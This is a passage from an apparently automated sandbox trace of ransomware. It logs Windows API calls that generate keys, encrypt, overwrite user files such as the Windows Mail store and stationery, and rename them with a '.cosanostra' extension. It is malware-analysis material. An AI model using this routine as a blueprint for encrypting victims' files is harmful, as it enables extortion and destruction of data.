dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0091.939] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f5b0 | out: pbBuffer=0x251f5b0) returned 1 [0091.939] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c938*, pdwDataLen=0x251f5a8*=0x20, dwBufLen=0x30 | out: pbData=0x27c938*, pdwDataLen=0x251f5a8*=0x30) returned 1 [0091.939] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\.." (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\crypto"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0091.940] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f5a8 | out: pbBuffer=0x251f5a8) returned 1 [0091.940] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c938*, pdwDataLen=0x251f5a0*=0x20, dwBufLen=0x30 | out: pbData=0x27c938*, pdwDataLen=0x251f5a0*=0x30) returned 1 [0091.940] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\." (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\crypto\\rsa\\."), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0091.940] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f5a8 | out: pbBuffer=0x251f5a8) returned 1 [0091.940] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c938*, pdwDataLen=0x251f5a0*=0x20, dwBufLen=0x30 | out: pbData=0x27c938*, pdwDataLen=0x251f5a0*=0x30) returned 1 [0091.940] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Crypto\\.." (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0091.940] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f5a0 | out: pbBuffer=0x251f5a0) returned 1 [0091.940] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c938*, pdwDataLen=0x251f598*=0x20, dwBufLen=0x30 | out: pbData=0x27c938*, pdwDataLen=0x251f598*=0x30) returned 1 [0091.940] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Crypto\\." (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\crypto\\."), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0091.942] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f598 | out: pbBuffer=0x251f598) returned 1 [0091.942] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c938*, pdwDataLen=0x251f590*=0x20, dwBufLen=0x30 | out: pbData=0x27c938*, pdwDataLen=0x251f590*=0x30) returned 1 [0091.942] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Credentials\\.." (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0091.942] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f598 | out: pbBuffer=0x251f598) returned 1 [0091.942] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c938*, pdwDataLen=0x251f590*=0x20, dwBufLen=0x30 | out: pbData=0x27c938*, pdwDataLen=0x251f590*=0x30) returned 1 [0091.942] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Credentials\\." (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\credentials\\."), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0091.943] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f590 | out: pbBuffer=0x251f590) returned 1 [0091.943] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c938*, pdwDataLen=0x251f588*=0x20, dwBufLen=0x30 | out: pbData=0x27c938*, pdwDataLen=0x251f588*=0x30) returned 1 [0091.943] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\.." (normalized: "c:\\users\\default\\appdata\\roaming"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0091.943] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f590 | out: pbBuffer=0x251f590) returned 1 [0091.943] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c938*, pdwDataLen=0x251f588*=0x20, dwBufLen=0x30 | out: pbData=0x27c938*, pdwDataLen=0x251f588*=0x30) returned 1 [0091.943] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\." (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\."), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0091.988] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f570 | out: pbBuffer=0x251f570) returned 1 [0091.989] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x251f568*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x251f568*=0x30) returned 1 [0091.989] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\7B2238AACCEDC3F1FFE8E7EB5F575EC9" (normalized: "c:\\users\\default\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\7b2238aaccedc3f1ffe8e7eb5f575ec9"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x154 [0092.048] lstrlenW (lpString="\\\\?\\C:\\Users\\Default\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\7B2238AACCEDC3F1FFE8E7EB5F575EC9") returned 105 [0092.048] StrStrW (lpFirst="7B2238AACCEDC3F1FFE8E7EB5F575EC9", lpSrch=".txt") returned 0x0 [0092.049] SetFilePointerEx (in: hFile=0x154, liDistanceToMove=0xfffffdd8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0092.050] WriteFile (in: hFile=0x154, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x228, lpNumberOfBytesWritten=0x251f52c, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x251f52c*=0x228, lpOverlapped=0x0) returned 1 [0092.050] SetFilePointerEx (in: hFile=0x154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.050] WriteFile (in: hFile=0x154, lpBuffer=0x251f56c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f52c, lpOverlapped=0x0 | out: lpBuffer=0x251f56c*, lpNumberOfBytesWritten=0x251f52c*=0x4, lpOverlapped=0x0) returned 1 [0092.050] WriteFile (in: hFile=0x154, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f52c, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x251f52c*=0x30, lpOverlapped=0x0) returned 1 [0092.050] CloseHandle (hObject=0x154) returned 1 [0092.051] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\7B2238AACCEDC3F1FFE8E7EB5F575EC9.cosanostra") returned 116 [0092.051] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\Default\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\7B2238AACCEDC3F1FFE8E7EB5F575EC9" (normalized: "c:\\users\\default\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\7b2238aaccedc3f1ffe8e7eb5f575ec9"), lpNewFileName="\\\\?\\C:\\Users\\Default\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\7B2238AACCEDC3F1FFE8E7EB5F575EC9.cosanostra" (normalized: "c:\\users\\default\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\7b2238aaccedc3f1ffe8e7eb5f575ec9.cosanostra")) returned 1 [0092.104] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f568 | out: pbBuffer=0x251f568) returned 1 [0092.104] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c938*, pdwDataLen=0x251f560*=0x20, dwBufLen=0x30 | out: pbData=0x27c938*, pdwDataLen=0x251f560*=0x30) returned 1 [0092.104] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\WindowsMail.MSMessageStore" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\windowsmail.msmessagestore"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xa4 [0092.104] lstrlenW (lpString="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\WindowsMail.MSMessageStore") returned 84 [0092.104] StrStrW (lpFirst="WindowsMail.MSMessageStore", lpSrch=".txt") returned 0x0 [0092.127] SetFilePointerEx (in: hFile=0xa4, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0092.128] WriteFile (in: hFile=0xa4, lpBuffer=0x305f380*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x251f524, lpOverlapped=0x0 | out: lpBuffer=0x305f380*, lpNumberOfBytesWritten=0x251f524*=0x2800, lpOverlapped=0x0) returned 1 [0092.128] SetFilePointerEx (in: hFile=0xa4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.128] WriteFile (in: hFile=0xa4, lpBuffer=0x251f564*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f524, lpOverlapped=0x0 | out: lpBuffer=0x251f564*, lpNumberOfBytesWritten=0x251f524*=0x4, lpOverlapped=0x0) returned 1 [0092.130] WriteFile (in: hFile=0xa4, lpBuffer=0x27c938*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f524, lpOverlapped=0x0 | out: lpBuffer=0x27c938*, lpNumberOfBytesWritten=0x251f524*=0x30, lpOverlapped=0x0) returned 1 [0092.130] CloseHandle (hObject=0xa4) returned 1 [0092.131] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\WindowsMail.MSMessageStore.cosanostra") returned 95 [0092.131] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\WindowsMail.MSMessageStore" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\windowsmail.msmessagestore"), lpNewFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\WindowsMail.MSMessageStore.cosanostra" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\windowsmail.msmessagestore.cosanostra")) returned 1 [0092.132] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f568 | out: pbBuffer=0x251f568) returned 1 [0092.132] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c938*, pdwDataLen=0x251f560*=0x20, dwBufLen=0x30 | out: pbData=0x27c938*, pdwDataLen=0x251f560*=0x30) returned 1 [0092.132] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Stars.htm" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\stars.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xa4 [0092.132] lstrlenW (lpString="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Stars.htm") returned 78 [0092.132] StrStrW (lpFirst="Stars.htm", lpSrch=".txt") returned 0x0 [0092.134] SetFilePointerEx (in: hFile=0xa4, liDistanceToMove=0xffffff1a, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0092.134] WriteFile (in: hFile=0xa4, lpBuffer=0x305f380*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x251f524, lpOverlapped=0x0 | out: lpBuffer=0x305f380*, lpNumberOfBytesWritten=0x251f524*=0xe6, lpOverlapped=0x0) returned 1 [0092.134] SetFilePointerEx (in: hFile=0xa4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.134] WriteFile (in: hFile=0xa4, lpBuffer=0x251f564*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f524, lpOverlapped=0x0 | out: lpBuffer=0x251f564*, lpNumberOfBytesWritten=0x251f524*=0x4, lpOverlapped=0x0) returned 1 [0092.134] WriteFile (in: hFile=0xa4, lpBuffer=0x27c938*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f524, lpOverlapped=0x0 | out: lpBuffer=0x27c938*, lpNumberOfBytesWritten=0x251f524*=0x30, lpOverlapped=0x0) returned 1 [0092.134] CloseHandle (hObject=0xa4) returned 1 [0092.134] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Stars.htm.cosanostra") returned 89 [0092.134] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Stars.htm" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\stars.htm"), lpNewFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Stars.htm.cosanostra" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\stars.htm.cosanostra")) returned 1 [0092.135] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f560 | out: pbBuffer=0x251f560) returned 1 [0092.135] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c938*, pdwDataLen=0x251f558*=0x20, dwBufLen=0x30 | out: pbData=0x27c938*, pdwDataLen=0x251f558*=0x30) returned 1 [0092.135] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\SoftBlue.jpg" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\softblue.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xa4 [0092.136] lstrlenW (lpString="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\SoftBlue.jpg") returned 81 [0092.136] StrStrW (lpFirst="SoftBlue.jpg", lpSrch=".txt") returned 0x0 [0092.158] SetFilePointerEx (in: hFile=0xa4, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0092.158] WriteFile (in: hFile=0xa4, lpBuffer=0x305f380*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x251f51c, lpOverlapped=0x0 | out: lpBuffer=0x305f380*, lpNumberOfBytesWritten=0x251f51c*=0x2800, lpOverlapped=0x0) returned 1 [0092.159] SetFilePointerEx (in: hFile=0xa4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.159] WriteFile (in: hFile=0xa4, lpBuffer=0x251f55c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f51c, lpOverlapped=0x0 | out: lpBuffer=0x251f55c*, lpNumberOfBytesWritten=0x251f51c*=0x4, lpOverlapped=0x0) returned 1 [0092.159] WriteFile (in: hFile=0xa4, lpBuffer=0x27c938*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f51c, lpOverlapped=0x0 | out: lpBuffer=0x27c938*, lpNumberOfBytesWritten=0x251f51c*=0x30, lpOverlapped=0x0) returned 1 [0092.159] CloseHandle (hObject=0xa4) returned 1 [0092.159] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\SoftBlue.jpg.cosanostra") returned 92 [0092.159] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\SoftBlue.jpg" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\softblue.jpg"), lpNewFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\SoftBlue.jpg.cosanostra" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\softblue.jpg.cosanostra")) returned 1 [0092.160] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f560 | out: pbBuffer=0x251f560) returned 1 [0092.160] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c938*, pdwDataLen=0x251f558*=0x20, dwBufLen=0x30 | out: pbData=0x27c938*, pdwDataLen=0x251f558*=0x30) returned 1 [0092.160] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Soft Blue.htm" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\soft blue.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xa4 [0092.160] lstrlenW (lpString="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Soft Blue.htm") returned 82 [0092.160] StrStrW (lpFirst="Soft Blue.htm", lpSrch=".txt") returned 0x0 [0092.161] SetFilePointerEx (in: hFile=0xa4, liDistanceToMove=0xffffff18, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0092.161] WriteFile (in: hFile=0xa4, lpBuffer=0x305f380*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x251f51c, lpOverlapped=0x0 | out: lpBuffer=0x305f380*, lpNumberOfBytesWritten=0x251f51c*=0xe8, lpOverlapped=0x0) returned 1 [0092.161] SetFilePointerEx (in: hFile=0xa4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.161] WriteFile (in: hFile=0xa4, lpBuffer=0x251f55c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f51c, lpOverlapped=0x0 | out: lpBuffer=0x251f55c*, lpNumberOfBytesWritten=0x251f51c*=0x4, lpOverlapped=0x0) returned 1 [0092.162] WriteFile (in: hFile=0xa4, lpBuffer=0x27c938*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f51c, lpOverlapped=0x0 | out: lpBuffer=0x27c938*, lpNumberOfBytesWritten=0x251f51c*=0x30, lpOverlapped=0x0) returned 1 [0092.162] CloseHandle (hObject=0xa4) returned 1 [0092.162] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Soft Blue.htm.cosanostra") returned 93 [0092.162] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Soft Blue.htm" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\soft blue.htm"), lpNewFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Soft Blue.htm.cosanostra" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\soft blue.htm.cosanostra")) returned 1 [0092.162] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f558 | out: pbBuffer=0x251f558) returned 1 [0092.163] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c938*, pdwDataLen=0x251f550*=0x20, dwBufLen=0x30 | out: pbData=0x27c938*, pdwDataLen=0x251f550*=0x30) returned 1 [0092.163] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\ShadesOfBlue.jpg" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\shadesofblue.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xa4 [0092.163] lstrlenW (lpString="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\ShadesOfBlue.jpg") returned 85 [0092.163] StrStrW (lpFirst="ShadesOfBlue.jpg", lpSrch=".txt") returned 0x0 [0092.195] SetFilePointerEx (in: hFile=0xa4, liDistanceToMove=0xffffed82, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0092.195] WriteFile (in: hFile=0xa4, lpBuffer=0x305f380*, nNumberOfBytesToWrite=0x127e, lpNumberOfBytesWritten=0x251f514, lpOverlapped=0x0 | out: lpBuffer=0x305f380*, lpNumberOfBytesWritten=0x251f514*=0x127e, lpOverlapped=0x0) returned 1 [0092.196] SetFilePointerEx (in: hFile=0xa4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.196] WriteFile (in: hFile=0xa4, lpBuffer=0x251f554*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f514, lpOverlapped=0x0 | out: lpBuffer=0x251f554*, lpNumberOfBytesWritten=0x251f514*=0x4, lpOverlapped=0x0) returned 1 [0092.196] WriteFile (in: hFile=0xa4, lpBuffer=0x27c938*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f514, lpOverlapped=0x0 | out: lpBuffer=0x27c938*, lpNumberOfBytesWritten=0x251f514*=0x30, lpOverlapped=0x0) returned 1 [0092.196] CloseHandle (hObject=0xa4) returned 1 [0092.196] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\ShadesOfBlue.jpg.cosanostra") returned 96 [0092.196] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\ShadesOfBlue.jpg" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\shadesofblue.jpg"), lpNewFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\ShadesOfBlue.jpg.cosanostra" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\shadesofblue.jpg.cosanostra")) returned 1 [0092.197] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f558 | out: pbBuffer=0x251f558) returned 1 [0092.197] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c938*, pdwDataLen=0x251f550*=0x20, dwBufLen=0x30 | out: pbData=0x27c938*, pdwDataLen=0x251f550*=0x30) returned 1 [0092.197] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Roses.htm" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\roses.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0092.225] lstrlenW (lpString="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Roses.htm") returned 78 [0092.225] StrStrW (lpFirst="Roses.htm", lpSrch=".txt") returned 0x0 [0092.225] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xffffff17, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0092.225] WriteFile (in: hFile=0x180, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0xe9, lpNumberOfBytesWritten=0x251f514, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x251f514*=0xe9, lpOverlapped=0x0) returned 1 [0092.226] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.226] WriteFile (in: hFile=0x180, lpBuffer=0x251f554*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f514, lpOverlapped=0x0 | out: lpBuffer=0x251f554*, lpNumberOfBytesWritten=0x251f514*=0x4, lpOverlapped=0x0) returned 1 [0092.226] WriteFile (in: hFile=0x180, lpBuffer=0x27c938*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f514, lpOverlapped=0x0 | out: lpBuffer=0x27c938*, lpNumberOfBytesWritten=0x251f514*=0x30, lpOverlapped=0x0) returned 1 [0092.226] CloseHandle (hObject=0x180) returned 1 [0092.226] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Roses.htm.cosanostra") returned 89 [0092.226] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Roses.htm" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\roses.htm"), lpNewFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Roses.htm.cosanostra" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\roses.htm.cosanostra")) returned 1 [0092.227] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f550 | out: pbBuffer=0x251f550) returned 1 [0092.227] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c938*, pdwDataLen=0x251f548*=0x20, dwBufLen=0x30 | out: pbData=0x27c938*, pdwDataLen=0x251f548*=0x30) returned 1 [0092.227] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Peacock.htm" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\peacock.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, 